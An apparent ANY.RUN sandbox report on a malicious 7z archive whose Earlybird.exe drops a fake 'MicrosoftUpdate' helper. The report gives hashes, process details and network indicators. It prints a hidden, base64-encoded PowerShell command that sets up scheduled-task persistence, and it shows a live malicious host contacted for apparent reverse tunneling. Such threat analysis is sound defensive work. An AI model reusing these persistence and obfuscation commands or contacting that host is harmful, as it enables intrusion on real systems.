File name:

Release.7z

Full analysis: https://app.any.run/tasks/28bab93b-c52d-4447-a074-b2f723ea8918
Verdict: Malicious activity
Analysis date: March 29, 2025, 12:07:27
OS: Windows 10 Professional (build: 19044, 64 bit)
Tags:
remote
Indicators:
MIME: application/x-7z-compressed
File info: 7-zip archive data, version 0.4
MD5:

442B2CC1E05F5F9C1C16C9767DAE0FE8

SHA1:

EA14574312290E8E7CFA47BC58C18F5C99C306D5

SHA256:

04710F48981E920BA2094DEDFFBF018AE5DBEB68AF91E5BC0E655D06F9B792B7

SSDEEP:

768:LU+mkQ6+XmP+z+1lnD3LxIKKkY1YB7xHY59XJQkDl:QNrWPnD3LxI71Kx4HJQm

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.
  • MALICIOUS

    • Uses Task Scheduler to autorun other applications

      • powershell.exe (PID: 8132)
    • Run PowerShell with an invisible window

      • powershell.exe (PID: 8132)
  • SUSPICIOUS

    • Executable content was dropped or overwritten

      • Earlybird.exe (PID: 8044)
    • The process bypasses the loading of PowerShell profile settings

      • Earlybird.exe (PID: 8044)
    • Starts POWERSHELL.EXE for commands execution

      • Earlybird.exe (PID: 8044)
    • The process hide an interactive prompt from the user

      • Earlybird.exe (PID: 8044)
    • Connects to unusual port

      • choice.exe (PID: 8068)
    • Base64-obfuscated command line is found

      • Earlybird.exe (PID: 8044)
    • BASE64 encoded PowerShell command has been detected

      • Earlybird.exe (PID: 8044)
    • Executes script without checking the security policy

      • powershell.exe (PID: 8132)
  • INFO

    • Manual execution by a user

      • Earlybird.exe (PID: 8044)
      • choice.exe (PID: 8068)
      • Earlybird.exe (PID: 7996)
    • Executable content was dropped or overwritten

      • WinRAR.exe (PID: 7316)
    • Creates files or folders in the user directory

      • Earlybird.exe (PID: 8044)
    • Checks proxy server information

      • choice.exe (PID: 8068)
    • Reads the computer name

      • Earlybird.exe (PID: 8044)
    • Checks supported languages

      • Earlybird.exe (PID: 8044)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.7z | 7-Zip compressed archive (v0.4) (57.1)
.7z | 7-Zip compressed archive (gen) (42.8)

EXIF

ZIP

FileVersion: 7z v0.04
ModifyDate: 2025:03:29 05:15:38+00:00
ArchivedFileName: data.bin
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
140
Monitored processes
10
Malicious processes
1
Suspicious processes
1

Behavior graph

Click at the process to see the details
start winrar.exe sppextcomobj.exe no specs slui.exe no specs earlybird.exe no specs earlybird.exe choice.exe conhost.exe no specs powershell.exe conhost.exe no specs schtasks.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
7232"C:\WINDOWS\system32\schtasks.exe" /create /tn SystemHealthMonitor /tr C:\Users\admin\AppData\Roaming\MicrosoftUpdate\HelperSvc.exe /sc ONLOGON /rl HIGHEST /fC:\Windows\System32\schtasks.exepowershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Task Scheduler Configuration Tool
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\schtasks.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
7316"C:\Program Files\WinRAR\WinRAR.exe" C:\Users\admin\AppData\Local\Temp\Release.7zC:\Program Files\WinRAR\WinRAR.exe
explorer.exe
User:
admin
Company:
Alexander Roshal
Integrity Level:
MEDIUM
Description:
WinRAR archiver
Version:
5.91.0
Modules
Images
c:\program files\winrar\winrar.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\user32.dll
c:\windows\system32\win32u.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\gdi32full.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
7480C:\WINDOWS\system32\SppExtComObj.exe -EmbeddingC:\Windows\System32\SppExtComObj.Exesvchost.exe
User:
NETWORK SERVICE
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
KMS Connection Broker
Version:
10.0.19041.3996 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\sppextcomobj.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\oleaut32.dll
7512"C:\WINDOWS\System32\SLUI.exe" RuleId=3482d82e-ca2c-4e1f-8864-da0267b484b2;Action=AutoActivate;AppId=55c92734-d682-4d71-983e-d6ec3f16059f;SkuId=4de7cb65-cdf1-4de9-8ae8-e3cce27b9f2c;NotificationInterval=1440;Trigger=TimerEventC:\Windows\System32\slui.exeSppExtComObj.Exe
User:
NETWORK SERVICE
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
Windows Activation Client
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\slui.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\user32.dll
7996"C:\Users\admin\Desktop\Earlybird.exe" C:\Users\admin\Desktop\Earlybird.exeexplorer.exe
User:
admin
Integrity Level:
MEDIUM
Exit code:
3221226540
Modules
Images
c:\users\admin\desktop\earlybird.exe
c:\windows\system32\ntdll.dll
8044"C:\Users\admin\Desktop\Earlybird.exe" C:\Users\admin\Desktop\Earlybird.exe
explorer.exe
User:
admin
Integrity Level:
HIGH
Exit code:
0
Modules
Images
c:\users\admin\desktop\earlybird.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\apphelp.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
8068C:\Windows\System32\choice.exeC:\Windows\System32\choice.exe
explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Offers the user a choice
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\choice.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\apphelp.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\user32.dll
c:\windows\system32\win32u.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\gdi32full.dll
8076\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.exechoice.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Console Window Host
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
8132powershell.exe -NonI -W Hidden -NoP -Enc cwBjAGgAdABhAHMAawBzACAALwBjAHIAZQBhAHQAZQAgAC8AdABuACAAIgBTAHkAcwB0AGUAbQBIAGUAYQBsAHQAaABNAG8AbgBpAHQAbwByACIAIAAvAHQAcgAgACIAQwA6AFwAVQBzAGUAcgBzAFwAYQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAFIAbwBhAG0AaQBuAGcAXABNAGkAYwByAG8AcwBvAGYAdABVAHAAZABhAHQAZQBcAEgAZQBsAHAAZQByAFMAdgBjAC4AZQB4AGUAIgAgAC8AcwBjACAATwBOAEwATwBHAE8ATgAgAC8AcgBsACAASABJAEcASABFAFMAVAAgAC8AZgA=C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Earlybird.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Windows PowerShell
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\apphelp.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
8140\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.exepowershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Console Window Host
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
Total events
5 979
Read events
5 970
Write events
9
Delete events
0

Modification events

(PID) Process:(7316) WinRAR.exeKey:HKEY_CURRENT_USER\SOFTWARE\WinRAR\ArcHistory
Operation:writeName:3
Value:
C:\Users\admin\Desktop\preferences.zip
(PID) Process:(7316) WinRAR.exeKey:HKEY_CURRENT_USER\SOFTWARE\WinRAR\ArcHistory
Operation:writeName:2
Value:
C:\Users\admin\Desktop\chromium_ext.zip
(PID) Process:(7316) WinRAR.exeKey:HKEY_CURRENT_USER\SOFTWARE\WinRAR\ArcHistory
Operation:writeName:1
Value:
C:\Users\admin\Desktop\omni_23_10_2024_.zip
(PID) Process:(7316) WinRAR.exeKey:HKEY_CURRENT_USER\SOFTWARE\WinRAR\ArcHistory
Operation:writeName:0
Value:
C:\Users\admin\AppData\Local\Temp\Release.7z
(PID) Process:(7316) WinRAR.exeKey:HKEY_CURRENT_USER\SOFTWARE\WinRAR\FileList\FileColumnWidths
Operation:writeName:name
Value:
120
(PID) Process:(7316) WinRAR.exeKey:HKEY_CURRENT_USER\SOFTWARE\WinRAR\FileList\FileColumnWidths
Operation:writeName:size
Value:
80
(PID) Process:(7316) WinRAR.exeKey:HKEY_CURRENT_USER\SOFTWARE\WinRAR\FileList\FileColumnWidths
Operation:writeName:type
Value:
120
(PID) Process:(7316) WinRAR.exeKey:HKEY_CURRENT_USER\SOFTWARE\WinRAR\FileList\FileColumnWidths
Operation:writeName:mtime
Value:
100
(PID) Process:(7316) WinRAR.exeKey:HKEY_CURRENT_USER\SOFTWARE\WinRAR\Interface
Operation:writeName:ShowPassword
Value:
0
Executable files
2
Suspicious files
3
Text files
2
Unknown types
0

Dropped files

PID
Process
Filename
Type
8044Earlybird.exeC:\Users\admin\AppData\Roaming\MicrosoftUpdate\HelperSvc.exeexecutable
MD5:AE377C1689443C53D8A61A81C7478548
SHA256:A48A1F564DEA070996E82AEB541DA950964CBE6E0BDC6CABCC4CFE7074683304
8132powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_lplkgy01.mpb.ps1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
7316WinRAR.exeC:\Users\admin\AppData\Local\Temp\Rar$DRb7316.37113\Earlybird.exeexecutable
MD5:AE377C1689443C53D8A61A81C7478548
SHA256:A48A1F564DEA070996E82AEB541DA950964CBE6E0BDC6CABCC4CFE7074683304
7316WinRAR.exeC:\Users\admin\AppData\Local\Temp\Rar$DRb7316.37113\data.binbinary
MD5:B3E25CDD803F9E53EEF6F0B9F3EA0241
SHA256:C423A1BAEC06F760BBBBB4C49C9D5ACDE329929694769C69F05C1D7A4388811E
8132powershell.exeC:\Users\admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractivebinary
MD5:430B9B0DA078FFE9367C3F8A8F1E9DA1
SHA256:6479551C0206E611B651DF7E5B7899CF0721C228FA90C457D11DC0FA46F55ED5
8132powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_npwvxpao.2mc.psm1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
8044Earlybird.exeC:\Users\admin\AppData\Roaming\MicrosoftUpdate\data.binbinary
MD5:B3E25CDD803F9E53EEF6F0B9F3EA0241
SHA256:C423A1BAEC06F760BBBBB4C49C9D5ACDE329929694769C69F05C1D7A4388811E
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
6
TCP/UDP connections
24
DNS requests
16
Threats
1

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
GET
200
23.48.23.143:80
http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl
unknown
whitelisted
6544
svchost.exe
GET
200
2.17.190.73:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D
unknown
whitelisted
2040
backgroundTaskHost.exe
GET
200
2.17.190.73:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAUZZSZEml49Gjh0j13P68w%3D
unknown
whitelisted
8068
choice.exe
GET
75.127.89.194:8080
http://75.127.89.194:8080/hello.woff/RXqtevSsgUbwE_ERl_XWJg-BJsHaNSIboBxWk_m9oghdYVjEY2b2MZ5TYLuMvq8QJiS0P9F0GuxlcuQk3gBKFwP7nWC1Qm1vUE7zLM45GM4yMmMzCiQetXrKNv-hZ8Y3O_M5JWyZvXvBZD71PAdaguhN73CFXD7hko_D6V8Nb76b5oV6cK5CkZTVBQIcn46nKKIIe7axAR8_
unknown
malicious
6668
SIHClient.exe
GET
200
2.19.217.218:80
http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Product%20Root%20Certificate%20Authority%202018.crl
unknown
whitelisted
6668
SIHClient.exe
GET
200
2.19.217.218:80
http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Update%20Secure%20Server%20CA%202.1.crl
unknown
whitelisted
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
2104
svchost.exe
51.104.136.2:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
4
System
192.168.100.255:137
whitelisted
51.104.136.2:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
23.48.23.143:80
crl.microsoft.com
Akamai International B.V.
DE
whitelisted
4
System
192.168.100.255:138
whitelisted
2112
svchost.exe
51.104.136.2:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
6544
svchost.exe
40.126.32.134:443
login.live.com
MICROSOFT-CORP-MSN-AS-BLOCK
NL
whitelisted
6544
svchost.exe
2.17.190.73:80
ocsp.digicert.com
AKAMAI-AS
DE
whitelisted
2040
backgroundTaskHost.exe
20.31.169.57:443
arc.msn.com
MICROSOFT-CORP-MSN-AS-BLOCK
NL
whitelisted
2040
backgroundTaskHost.exe
2.17.190.73:80
ocsp.digicert.com
AKAMAI-AS
DE
whitelisted

DNS requests

Domain
IP
Reputation
settings-win.data.microsoft.com
  • 51.104.136.2
whitelisted
google.com
  • 172.217.18.14
whitelisted
crl.microsoft.com
  • 23.48.23.143
  • 23.48.23.156
whitelisted
client.wns.windows.com
  • 172.172.255.218
whitelisted
login.live.com
  • 40.126.32.134
  • 40.126.32.72
  • 20.190.160.130
  • 20.190.160.66
  • 20.190.160.128
  • 20.190.160.14
  • 40.126.32.133
  • 20.190.160.22
whitelisted
ocsp.digicert.com
  • 2.17.190.73
whitelisted
arc.msn.com
  • 20.31.169.57
whitelisted
fd.api.iris.microsoft.com
  • 20.103.156.88
whitelisted
slscr.update.microsoft.com
  • 20.109.210.53
whitelisted
www.microsoft.com
  • 2.19.217.218
whitelisted

Threats

PID
Process
Class
Message
8068
choice.exe
REMOTE [ANY.RUN] Possible Ligolo Server Reverse Tunneling JA3
No debug info